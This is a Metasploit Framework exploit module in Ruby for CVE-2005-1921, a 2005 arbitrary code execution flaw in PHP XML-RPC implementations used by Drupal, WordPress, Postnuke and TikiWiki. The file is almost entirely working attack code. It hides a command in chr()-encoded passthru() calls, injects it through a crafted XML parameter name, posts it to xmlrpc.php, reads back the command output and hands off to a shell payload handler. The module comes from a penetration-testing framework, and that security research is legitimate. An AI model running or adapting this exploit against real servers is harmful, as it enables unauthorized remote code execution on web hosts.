PHP XML-RPC Arbitrary Code Execution

                                                ##
# $Id: php_xmlrpc_eval.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	# XXX This module needs an overhaul
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PHP XML-RPC Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary code execution flaw
				discovered in many implementations of the PHP XML-RPC module.
				This flaw is exploitable through a number of PHP web
				applications, including but not limited to Drupal, Wordpress,
				Postnuke, and TikiWiki.
			},
			'Author'         => [ 'hdm', 'cazz' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9929 $',
			'References'     =>
				[
					['CVE', '2005-1921'],
					['OSVDB', '17793'],
					['BID', '14088'],
				],
			'Privileged'     => false,
			'Platform'       => ['unix', 'solaris'],
			'Payload'        => {
					'Space' => 512,
					'DisableNops' => true,
					'Keys'  => ['cmd', 'cmd_bash'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 29 2005'
			))


		register_options(
			[
				OptString.new('PATH', [ true,  "Path to xmlrpc.php", '/xmlrpc.php']),
			], self.class)

		deregister_options(
			'HTTP::junk_params', # not your typical POST, so don't inject params.
			'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
			)
	end

	def go(command)

		encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')
		wrapper = rand_text_alphanumeric(rand(128)+32)

		cmd = "echo('#{wrapper}'); passthru(#{ encoded }); echo('#{wrapper}');;"

		xml =
		'<?xml version="1.0"?>' +
		"<methodCall>" +
			"<methodName>"+ rand_text_alphanumeric(rand(128)+32) + "</methodName>" +
			"<params><param>" +
				"<name>" + rand_text_alphanumeric(rand(128)+32) + "');#{cmd}//</name>" +
				"<value>" + rand_text_alphanumeric(rand(128)+32) + "</value>" +
			"</param></params>" +
		"</methodCall>";

		res = send_request_cgi({
				'uri'          => datastore['PATH'],
				'method'       => 'POST',
				'ctype'        => 'application/xml',
				'data'         => xml,
			}, 5)

		if (res and res.body)
			b = /#{wrapper}(.*)#{wrapper}/sm.match(res.body)
			if b
				return b.captures[0]
			elsif datastore['HTTP::chunked'] == true
				b = /chunked Transfer-Encoding forbidden/.match(res.body)
				if b
					raise RuntimeError, 'Target PHP installation does not support chunked encoding.  Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'
				end
			end
		end

		return nil
	end

	def check
		response = go("echo ownable")
		if (!response.nil? and response =~ /ownable/sm)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		response = go(payload.encoded)
		if response == nil
			print_error('exploit failed: no response')
		else
			if response.length == 0
				print_status('exploit successful')
			else
				print_status("Command returned #{response}")
			end
			handler
		end
	end
end